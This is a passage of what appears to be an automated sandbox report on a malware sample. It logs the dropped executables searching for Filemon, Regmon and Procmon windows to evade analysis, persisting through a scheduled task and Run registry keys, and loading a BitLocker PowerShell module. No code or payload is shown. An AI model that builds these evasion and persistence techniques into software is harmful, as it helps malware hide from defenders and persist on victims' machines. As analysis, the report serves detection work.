Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Window searched: window name: Regmonclass
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ed7d415177.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ed7d415177.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0e32932f8.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0e32932f8.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bc893816fa.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bc893816fa.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6f3b41816f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6f3b41816f.exe Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
